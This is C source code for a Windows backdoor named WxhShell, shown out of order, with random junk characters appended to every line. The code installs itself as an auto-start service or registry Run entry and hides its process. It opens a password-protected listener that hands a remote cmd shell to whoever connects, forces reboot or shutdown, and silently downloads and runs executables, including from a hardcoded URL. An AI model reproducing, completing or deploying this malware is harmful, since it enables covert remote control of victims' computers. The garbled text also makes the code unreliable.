  // 关机 :} i #ODJ  
  case 'd': { hB]4Tn5H  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); b%z4u0  
    if(Boot(SHUTDOWN)) )#%k/4(Y  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); /{gCf  
    else { /4}{SE  
    closesocket(wsh); .BuXg<`  
    ExitThread(0); pdUrVmW"'  
    } FZ)_WaqGf  
    break; <DxUqCE  
    } 2^'|[*$k1@  
  // 获取shell .v?Ir)  
  case 's': { \#?n'qyj  
    CmdShell(wsh); !yI , ~`Z  
    closesocket(wsh); NifzZEX  
    ExitThread(0); *G"L]Nq#  
    break; +] s"*'V$  
  } hN=YC\l  
  // 退出 QVA)&k'T,  
  case 'x': { eo.y,Uh  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 38ChS.(  
    CloseIt(wsh); %9cu(yc*}  
    break; 2K0HN  
    } ]@wee08  
  // 离开 6`Zx\bPDm  
  case 'q': { ;5urIYd  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); xXp$Nm]:  
    closesocket(wsh); _BHR ?I[w  
    WSACleanup(); {x$jGiag+8  
    exit(1); $iu{u|VSu  
    break; 4=^_ 4o2  
        } zGjf7VV2a  
  } 3\j{*f$J  
  } k GR5!8$z  
>|1.Z'r/  
  // 提示信息 0.7* 2s-  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); *.nC'$-2r  
} c((^l&  
  } Vj(}'h-c\  
!*JE%t  
  return; d}#G~O+y3v  
} @62QDlt;  
HIM>%   
// shell模块句柄 Wyh   
int CmdShell(SOCKET sock) f4eLnY  
{ gB BS}HF  
STARTUPINFO si; DlIy'@ .  
ZeroMemory(&si,sizeof(si)); Pp.qDkT  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; R-CFF  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; "N\>v#>C  
PROCESS_INFORMATION ProcessInfo; }A)>sQ  
char cmdline[]="cmd"; =iF}41a  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); [+dOgyK  
  return 0; v,qK= ]ty  
} eJD !dGa  
/|v:$iH,C  
// 自身启动模式 z'FD{xdf  
int StartFromService(void) T"ors]eI  
{ S,A\%:Va  
typedef struct :j2G0vHIl(  
{ zOO:`^ m  
  DWORD ExitStatus; ]"?+R+  
  DWORD PebBaseAddress; 2@ 4^ 81  
  DWORD AffinityMask; lrQ +G@#  
  DWORD BasePriority; PO9<g% qTf  
  ULONG UniqueProcessId; c@iP^;D  
  ULONG InheritedFromUniqueProcessId; ^,F8 ha  
}   PROCESS_BASIC_INFORMATION; AWSe!\b  
E{_$C!.  
PROCNTQSIP NtQueryInformationProcess; &aD ]_+b  
svki=GD_(.  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; a:nMW'!  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 3N%%69JN)  
O :P%gz4  
  HANDLE             hProcess; :"BZK5{8  
  PROCESS_BASIC_INFORMATION pbi; V-rzn171Q)  
I|@'2z2  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Ip_S8 ;;  
  if(NULL == hInst ) return 0; GjF'03Z4  
HivmKn`  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); KFxy,Z$-4  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); k\,01Y^  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); eTi r-7  
Okd?=*sBx  
  if (!NtQueryInformationProcess) return 0; pi`sx[T@{Z  
zSs5F_  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); #IH7WaN  
  if(!hProcess) return 0; ;yh}$)^9  
PP{2{  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; |4RuT .-o  
7k beAJ+{  
  CloseHandle(hProcess); ZLK@x.=  
)'\pa2  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); %*4Gx +b  
if(hProcess==NULL) return 0; w783e  
OG}auM4  
HMODULE hMod; cQj{[Wt4  
char procName[255]; G}.t!"  
unsigned long cbNeeded; <3]Qrjl ,b  
&j2fh!\4  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ^ 'jJ~U  
8GC(?#Kb  
  CloseHandle(hProcess); 5|zISK%zHS  
u[25U;xo  
if(strstr(procName,"services")) return 1; // 以服务启动 {-X8MisI  
P=ARttT`(  
  return 0; // 注册表启动  ^"Y5V5  
} K&{*sa r  
3'(w6V  
// 主模块 @r.u8e)l  
int StartWxhshell(LPSTR lpCmdLine) ,]ALyWGuX  
{ h9Zf4@w  
  SOCKET wsl; ]A*v\Qy  
BOOL val=TRUE; G4Y]fzC  
  int port=0; b.jxkx\nt  
  struct sockaddr_in door; ~ $I2{I#W  
[3":7bB 'E  
  if(wscfg.ws_autoins) Install(); pfCNFF*"  
C+/D!ZH%P  
port=atoi(lpCmdLine); C`|'+  
{eR,a-D!7  
if(port<=0) port=wscfg.ws_port; d9/YW#tm  
NG!~<Kx   
  WSADATA data; !Pmv  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; )KvQaC  
(C;oot,  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   1EW-%GQO  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 3e)3t`  
  door.sin_family = AF_INET; v6{qKpU#  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); UnjUA!v  
  door.sin_port = htons(port); ti`R  
(^h47kY  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 0q_Ol]<V  
closesocket(wsl); zw=as9z1-  
return 1; #^IEQZgH  
} 9HI9([Cs  
wA`A+Z2*?  
  if(listen(wsl,2) == INVALID_SOCKET) { Dim,HPx]d  
closesocket(wsl); BS}uv3  
return 1; <L+D  
} x Hw$  
  Wxhshell(wsl); #vN\]e  
  WSACleanup(); oL'  :07_  
gd9ZlHo'Id  
return 0; pH&Q]u; O  
pf.T{/%  
} 'ad|@Bh  
h%kB>E~  
// 以NT服务方式启动 G7lC'~}  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) dO Y+| P\  
{ h[d|y_)f  
DWORD   status = 0; IQK__)  
  DWORD   specificError = 0xfffffff; D_E^%Ea&`  
Z+"%MkX0  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ?k4O)?28  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; yc,Qz.+g  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; )i; y4S  
  serviceStatus.dwWin32ExitCode     = 0; =dbLA ,z9  
  serviceStatus.dwServiceSpecificExitCode = 0; (tGK~!cAv  
  serviceStatus.dwCheckPoint       = 0; "HR &Rf k  
  serviceStatus.dwWaitHint       = 0; {rr ED  
~Ra1Zc$o:  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ilv6A9/  
  if (hServiceStatusHandle==0) return; Vxif0Bx&/d  
:SSlUl4sU$  
status = GetLastError(); Z iDmx-X  
  if (status!=NO_ERROR) fTM^:vkO  
{ ?Mp)F2'  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Q!>8E4Z  
    serviceStatus.dwCheckPoint       = 0; S<+_yB?  
    serviceStatus.dwWaitHint       = 0; BY: cSqAW  
    serviceStatus.dwWin32ExitCode     = status; whP>'9t.w  
    serviceStatus.dwServiceSpecificExitCode = specificError; (E)/' sEb  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Xmy(pV!PF  
    return; ]4@z.1Mr  
  } Dbr(Wg  
yS/ovd  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; T8YqCT"EA<  
  serviceStatus.dwCheckPoint       = 0; ,)+O.Lf7&.  
  serviceStatus.dwWaitHint       = 0; j#%*@]>Tg  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); `xbk)oW#  
} EAFKf*K=  
w&;\}IS  
// 处理NT服务事件,比如:启动、停止 Ov%9S/d  
VOID WINAPI NTServiceHandler(DWORD fdwControl) /B!"\0G/,  
{ \~nUk7.  
switch(fdwControl) GpF,=:  
{ >fo &H_a  
case SERVICE_CONTROL_STOP: VIbm%b$~  
  serviceStatus.dwWin32ExitCode = 0; 9a)D8  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Db yy H_  
  serviceStatus.dwCheckPoint   = 0; _p{ag 1gP  
  serviceStatus.dwWaitHint     = 0; J.":oD  
  {  6" 3!9JC  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ^~MHxF5d  
  } w`1qx;/!  
  return; BU:s&+LYUv  
case SERVICE_CONTROL_PAUSE: 451C2 %y  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; L~ V 63K  
  break; 2!dIW5I  
case SERVICE_CONTROL_CONTINUE: UR-e'Z&]  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; u ` 9Eh;  
  break; Uy ;oJY  
case SERVICE_CONTROL_INTERROGATE: I}Q3B3Byg  
  break; Fg4eIE-/M  
}; wr*A%:  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); >C_! }~  
} (m3p28Q?  
[ sz#*IJ  
// 标准应用程序主函数 OR&+`P"-\  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) wlKpHd*  
{ @tjC{?5Y  
Iu0K#.s_  
// 获取操作系统版本 LEVNywk[  
OsIsNt=GetOsVer();  wb4 4  
GetModuleFileName(NULL,ExeFile,MAX_PATH); _a*Wk  
hU G Iy(  
  // 从命令行安装 G`|mP:T:o  
  if(strpbrk(lpCmdLine,"iI")) Install(); sutj G`m  
snj4MA@I]  
  // 下载执行文件 zGZe|-  
if(wscfg.ws_downexe) { biGaP#"0  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) GLc+`,.  
  WinExec(wscfg.ws_filenam,SW_HIDE); ?h>mrj  
} scL7PxJ5  
>!? f6 {\|  
if(!OsIsNt) { P9`i6H'~  
// 如果时win9x,隐藏进程并且设置为注册表启动 %X GX(  
HideProc(); @b!fs  
StartWxhshell(lpCmdLine); WF-imI:EK  
} &$hfAG]"  
else :CHCVoh@95  
  if(StartFromService()) dJNYuTZ'  
  // 以服务方式启动 R52q6y:<x  
  StartServiceCtrlDispatcher(DispatchTable); r(vk2Qy  
else tvRa.3  
  // 普通方式启动 0e vxRcrzz  
  StartWxhshell(lpCmdLine); ?WUE+(oH>  
pJ_Z[}d)c  
return 0; 4B]8Mp~\aL  
} #C%<g:F8  
zCvR/  
m/Yi;>I(  
'zT/ x`V  
=========================================== GUat~[lUrj  
3)0*hq&83  
vn}Vb+@R  
^@X =v`C  
JpS:}yyJ>N  
Pn7oQA\  
" d:sUh  
NqqLRgMOR'  
#include <stdio.h> z8z U3?  
#include <string.h> wm2Q(l*HH  
#include <windows.h> (nda!^f_s  
#include <winsock2.h> oF ,8j1  
#include <winsvc.h> (:T~*7/"  
#include <urlmon.h> Kq!n `@  
>y]YF3?  
#pragma comment (lib, "Ws2_32.lib") k )){1O  
#pragma comment (lib, "urlmon.lib") zP=J5qOZ8  
bk4%lYJ"  
#define MAX_USER   100 // 最大客户端连接数 $8i t&/JP,  
#define BUF_SOCK   200 // sock buffer f"Iv  
#define KEY_BUFF   255 // 输入 buffer O gHWmb  
d\Dxmb]o  
#define REBOOT     0   // 重启 6oUT+^z#  
#define SHUTDOWN   1   // 关机 5QmF0z)wR  
8CEy#%7]}  
#define DEF_PORT   5000 // 监听端口 A ;kAAM  
)_bXKYUX*0  
#define REG_LEN     16   // 注册表键长度 ;e jC:3yO  
#define SVC_LEN     80   // NT服务名长度 ZTS*E,U%  
Ti' GSL  
// 从dll定义API %8{' XJ!  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); yY_]YeeR  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); =~aJ]T}(  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);  pd X9G  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); wRie{Vk  
/[EI0 ~P  
// wxhshell配置信息 `VBjH]$  
struct WSCFG { n}MG  
  int ws_port;         // 监听端口 ,9+@\  
  char ws_passstr[REG_LEN]; // 口令 mbS &>  
  int ws_autoins;       // 安装标记, 1=yes 0=no UhEJznfi  
  char ws_regname[REG_LEN]; // 注册表键名 &x=<>~Ag3  
  char ws_svcname[REG_LEN]; // 服务名 ,hOJe=u46  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 7?hC t  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 qVM]$V#e  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 $<33E e:a  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Uc9Uj  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 6K<vyr40  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 j@9nX4Z  
#),QWTl3  
}; oN _% oc  
_r,# l5~U  
// default Wxhshell configuration kc "U)>  
struct WSCFG wscfg={DEF_PORT, PiH#9X B  
    "xuhuanlingzhe", [|F.*06SK  
    1, Uw)K [T  
    "Wxhshell", "sHD8TUX  
    "Wxhshell", Qgf_  
            "WxhShell Service", ied<1[~S  
    "Wrsky Windows CmdShell Service", R`$Odplh>  
    "Please Input Your Password: ", rqa;MPl  
  1, !EKF^n6  
  "http://www.wrsky.com/wxhshell.exe", : wn![<`3q  
  "Wxhshell.exe" e dD(s5  
    }; ,[ Ytl  
 &$+yXN  
// 消息定义模块 1y?TyUP  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Y,&)%Eo<  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Z3#3xG5pl  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; "HYK~V  
char *msg_ws_ext="\n\rExit."; 2'@0|k,yC  
char *msg_ws_end="\n\rQuit."; 14^t{  
char *msg_ws_boot="\n\rReboot..."; o^AK@\e:^Z  
char *msg_ws_poff="\n\rShutdown..."; ul% q6=f)  
char *msg_ws_down="\n\rSave to "; TkQ05'Qc  
3cOXtDV YT  
char *msg_ws_err="\n\rErr!"; e|kYu[^  
char *msg_ws_ok="\n\rOK!"; v1)jZ.:  
a{u)~:/G  
char ExeFile[MAX_PATH]; w93yhV?  
int nUser = 0; ;CU3CLn  
HANDLE handles[MAX_USER]; 8Ipyr%l  
int OsIsNt; Pp.X Du  
HWs?,AJNxB  
SERVICE_STATUS       serviceStatus; (,<?Pg7v:f  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; %OzxR9  
8"S0E(,mu  
// 函数声明 Wxg|jP$~   
int Install(void); ZsV'-gu  
int Uninstall(void); *~-~kv4-  
int DownloadFile(char *sURL, SOCKET wsh); S*\`LBl"nX  
int Boot(int flag); xwz2N5  
void HideProc(void); &t6L8[#yd  
int GetOsVer(void); ^,`yt^^A  
int Wxhshell(SOCKET wsl); I=lA7}  
void TalkWithClient(void *cs); *J%+zH  
int CmdShell(SOCKET sock); q&P"  
int StartFromService(void); I/'jRM  
int StartWxhshell(LPSTR lpCmdLine); 5B@&]-'~  
B6ys 5eQ  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); duwZe+  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); n7Re@'N<  
9vVYZ}HC  
// 数据结构和表定义 z1YC%Y|R  
SERVICE_TABLE_ENTRY DispatchTable[] = 46$5f?Z  
{ `Y'}\>.#  
{wscfg.ws_svcname, NTServiceMain}, $aVcWz %  
{NULL, NULL} UHxXa*HyI  
}; GadD*psD2  
oFY'Ek;d  
// 自我安装 0gnr@9,X  
int Install(void) ?N`W,  
{ ]i{-@Ven  
  char svExeFile[MAX_PATH]; [zY9"B<3  
  HKEY key; (s \Nm_j  
  strcpy(svExeFile,ExeFile); 58=fT1 B  
b ~F8 5U2  
// 如果是win9x系统,修改注册表设为自启动 DuCq16'0T  
if(!OsIsNt) { :MJTmpq,  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { * DU86JL`  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); O*c +TiTb  
  RegCloseKey(key); G `TO[p]q  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { L]9*^al  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); '5{gWV`  
  RegCloseKey(key); m@TU2  
  return 0; eLl ;M4d  
    } RX#:27:  
  } 3ne=7Mj  
} )kg^.tP  
else { r_ Xk:  
t&-7AjS5  
// 如果是NT以上系统,安装为系统服务 [,l BY-Kz+  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ! 5]/2  
if (schSCManager!=0) ]Wfnpqc^  
{ X4 xnr^  
  SC_HANDLE schService = CreateService `@eQL[Z9x  
  ( [x9eamJ,H  
  schSCManager, 539[,jH  
  wscfg.ws_svcname, ga!t:O@w  
  wscfg.ws_svcdisp, C'hZNFsF;  
  SERVICE_ALL_ACCESS, G;`+MgJ)  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , |nv8&L8  
  SERVICE_AUTO_START, 5J1,Usm  
  SERVICE_ERROR_NORMAL, tX6n~NJ$  
  svExeFile, <sn^>5Ds  
  NULL, $,bLb5}Qu  
  NULL, * y u|]T  
  NULL, hfVJg7-  
  NULL, 9D-PmSnv  
  NULL `43E-'g  
  ); \vpUl  
  if (schService!=0) (LQ*U3J]_  
  { [?_^Cy  
  CloseServiceHandle(schService); &Q 3!ty  
  CloseServiceHandle(schSCManager); "y#$| TMB  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); l8jm7@.E  
  strcat(svExeFile,wscfg.ws_svcname); JrS|Ib)6  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 4fQ<A <2/  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); lP0'Zg(  
  RegCloseKey(key); +.gZILw  
  return 0; !$Nh:(>:  
    } | [P!9e  
  } C+jlIT+  
  CloseServiceHandle(schSCManager); {ge^&l  
}  O &;Cca  
} Un@dWf6'  
A"d=,?yE  
return 1; $,F1E VJ  
} '\=aSZVO  
`BF+)fs  
// 自我卸载 ~xkcQ{  
int Uninstall(void) -=@d2LY  
{ _KLKa/3  
  HKEY key; 8+^q9rLii  
XeJn,=  
if(!OsIsNt) { K#tT \  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { z'j4^Xz?%$  
  RegDeleteValue(key,wscfg.ws_regname); H $XO] \  
  RegCloseKey(key); 9x23## s  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { xrf z-"n4  
  RegDeleteValue(key,wscfg.ws_regname); S sGb;  
  RegCloseKey(key); _-$(=`8|<{  
  return 0; iTwb#Q=  
  } 2old})CLJ  
} ^e1@o\]  
} /&_$+Iun  
else { MA6(VII  
)pbsvR_  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); nD{o8;  
if (schSCManager!=0) ,K 8R%B  
{ DS%~'S  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); )%dxfwd6  
  if (schService!=0) 8BE] A_X  
  { q HaH=g%  
  if(DeleteService(schService)!=0) { O`K2mt\%  
  CloseServiceHandle(schService); Gh>&+UA'$1  
  CloseServiceHandle(schSCManager); z{`K_s%5  
  return 0; JuQwZ]3ed  
  } _wH>h$E  
  CloseServiceHandle(schService); VkdGGY  
  } Vdd HK  
  CloseServiceHandle(schSCManager); d<K2 \:P{}  
} r2yJ{j&s  
} x{4{.s%+:  
WX6}@mS.  
return 1; %;_94!(hC  
} Xdh2  
cD6S;PSg  
// 从指定url下载文件 hz:h>Hwy  
int DownloadFile(char *sURL, SOCKET wsh) i' V("  
{ _rM?g1}5j  
  HRESULT hr; 2,aH1Xbex  
char seps[]= "/"; *,& 2?E8  
char *token; J/LsL k  
char *file; R!f<6l8#W  
char myURL[MAX_PATH]; ;`Nh@*_  
char myFILE[MAX_PATH]; h?[|1.lJx(  
6S`0<Z;;/  
strcpy(myURL,sURL); cX7 O*5C  
  token=strtok(myURL,seps); }D>#AFs6#  
  while(token!=NULL) o3]Lrzh  
  { f7YBhF  
    file=token; h4Wt oE>i  
  token=strtok(NULL,seps); d|?Xo\+  
  } UodBK7y  
!7Eodq-0  
GetCurrentDirectory(MAX_PATH,myFILE); ;/:Sx/#s  
strcat(myFILE, "\\"); 5`Q j<   
strcat(myFILE, file); t:MSV?  
  send(wsh,myFILE,strlen(myFILE),0); 3ew4QPT'  
send(wsh,"...",3,0); wU6sU]P  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); m< H{@ZgN(  
  if(hr==S_OK) n,U?]mr  
return 0; ZDg(D"  
else IjGPiC  
return 1; pHT]2e#  
sYjhQN=Y*  
} jr,N+K(@T  
jc!m; U t  
// 系统电源模块 CYRZ2Yrk?"  
int Boot(int flag) U0gZf5;*  
{ 8EI9&L>  
  HANDLE hToken; 8~tX>q<@q  
  TOKEN_PRIVILEGES tkp; U% q-#^A  
F+"_]  
  if(OsIsNt) { }}"pQ!Z  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); GLgf%A`5/_  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); G4uG"  
    tkp.PrivilegeCount = 1; I`zd:o]  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; [\AOr`7  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);  0j_kK  
if(flag==REBOOT) { c/Xg ARCO  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) rtS' 90`  
  return 0; l+[:Cni  
} R&9FdM3K`:  
else { lD[37U!  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Fvf |m7  
  return 0; ~: {05W  
} M@#T`aS  
  } 9.8%Iw  
  else { vfc:ok1  
if(flag==REBOOT) { s3HVX'   
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) -8xf}v~u  
  return 0; w9{C"K?u=  
} fqhL"Ah   
else { +x(#e'6p  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) jMgXIK\  
  return 0; GlnO8cAB  
} yVII<ImqIH  
} +? h}e  
];Z6=9n  
return 1; gs5(~YiT6  
} oQ 2$z8  
)rq |t9kix  
// win9x进程隐藏模块 >~SS^I0  
void HideProc(void) r/2= nE  
{ 5?lc%,-&  
7~SwNt,  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 0?<#!  
  if ( hKernel != NULL ) z$e6T&u5B  
  { Pg%9hejf3  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ? 3=G'Ip5n  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 7~ PL8  
    FreeLibrary(hKernel); 2%dL96  
  } &}r"Z?f)  
27EK +$  
return; @eJCr)#}  
} N7?B"p/  
1Y|a:){G  
// 获取操作系统版本 j-":>}oW2.  
int GetOsVer(void) ` y\)X C7  
{ hW~.F  
  OSVERSIONINFO winfo; 8.i4QaU  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); uMJ \  
  GetVersionEx(&winfo); /]_t->  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) <7M-?g:vj  
  return 1; y3zP`^  
  else L5-|-PP|;  
  return 0; MKl0 d  
} TxX=(7V  
q`VL i  
// 客户端句柄模块 WwDM^}e  
int Wxhshell(SOCKET wsl) 3 r&  
{ &EfQ%r}C  
  SOCKET wsh; l~6K}g?  
  struct sockaddr_in client; %GHGd'KO&  
  DWORD myID; T#) )_aC  
7;s#QqG`I  
  while(nUser<MAX_USER) Y()" 2CCV  
{ f8Iddm#  
  int nSize=sizeof(client); Nc;O)K!FH  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 8R,<S-+v  
  if(wsh==INVALID_SOCKET) return 1; 0B}4$STOo[  
H$KO[mW}  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); K:wI'N"N  
if(handles[nUser]==0) Jsz!ro  
  closesocket(wsh); xT%`"eM}  
else n t}7|h|  
  nUser++; WMSJU/-P  
  } JZ:@iI5>+  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Ao\xse{E  
" 8xAe0-4  
  return 0; ]:P7}Kpb  
} nlwqSXw  
xu2 KEwgb  
// 关闭 socket V!W.P  
void CloseIt(SOCKET wsh) qCV<-o  
{ |' Fe?~P`  
closesocket(wsh); 9} (w*>_L  
nUser--; MUO<o  
ExitThread(0); \$ytmtf5  
} <$A,Ex94  
YmziHns`b  
// 客户端请求句柄 &{}Mds  
void TalkWithClient(void *cs) EB~]6.1  
{ ?sf<cFF  
CU'JvVe3  
  SOCKET wsh=(SOCKET)cs; l~c[}wv  
  char pwd[SVC_LEN]; CMa6':~  
  char cmd[KEY_BUFF]; t`Kbm''d[  
char chr[1]; |$RNY``J  
int i,j; 2KlQ[z4Ir  
f"Zl JVa  
  while (nUser < MAX_USER) { ~}Xus?e  
A,}M ^$@  
if(wscfg.ws_passstr) { YX\vk/[|  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); J|`0GDSn  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); #b/qR^2qW  
  //ZeroMemory(pwd,KEY_BUFF); '7Gv_G_  
      i=0; g'8Y5x[  
  while(i<SVC_LEN) { w;z7vN~/O  
|#oS7oV(  
  // 设置超时 /*K2i5&X  
  fd_set FdRead; !+l'<*8V  
  struct timeval TimeOut; dzf2`@8#  
  FD_ZERO(&FdRead); eqbN_$>  
  FD_SET(wsh,&FdRead); #9vC]Gm  
  TimeOut.tv_sec=8; Shm> r@C?  
  TimeOut.tv_usec=0; EBj^4=b[  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); (WM3(US|  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); aurs~  
2u"lc'9v  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 1F@k9[d~  
  pwd=chr[0]; YR%iZ"`*+O  
  if(chr[0]==0xd || chr[0]==0xa) { +r:g}iR  
  pwd=0; iUx\3d,  
  break; )t6]F6!_  
  } ~zVxprEf_  
  i++; hAGHb+:  
    } YH&=cI@  
'xwCeZcg  
  // 如果是非法用户,关闭 socket 1U 6B$(V^i  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 7]ieBUf S  
} 0> f!S` *  
iOE. .xA:  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); K7 e~%mY  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); [a=exK  
|Splbs k  
while(1) { %opBJ   
xoaO=7\io  
  ZeroMemory(cmd,KEY_BUFF); +$2{u_m,  
f6Qr0Op  
      // 自动支持客户端 telnet标准   ZN[<=w&(cB  
  j=0; \br!77  
  while(j<KEY_BUFF) { Ey6R/M)?:y  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); p>6`jr  
  cmd[j]=chr[0]; bO '\QtW9  
  if(chr[0]==0xa || chr[0]==0xd) { V%Uj\cv  
  cmd[j]=0; ,_[x|8m  
  break; l$42MRi/  
  } "M I';6  
  j++; A1WUK=P  
    } |V9[a a*c  
d*(aue=  
  // 下载文件 1b,a3w(:1  
  if(strstr(cmd,"http://")) { e8m,q~%#/  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 5>k:PKHL  
  if(DownloadFile(cmd,wsh)) @u~S!(7.Wi  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); baxZ>KNi  
  else )*')  
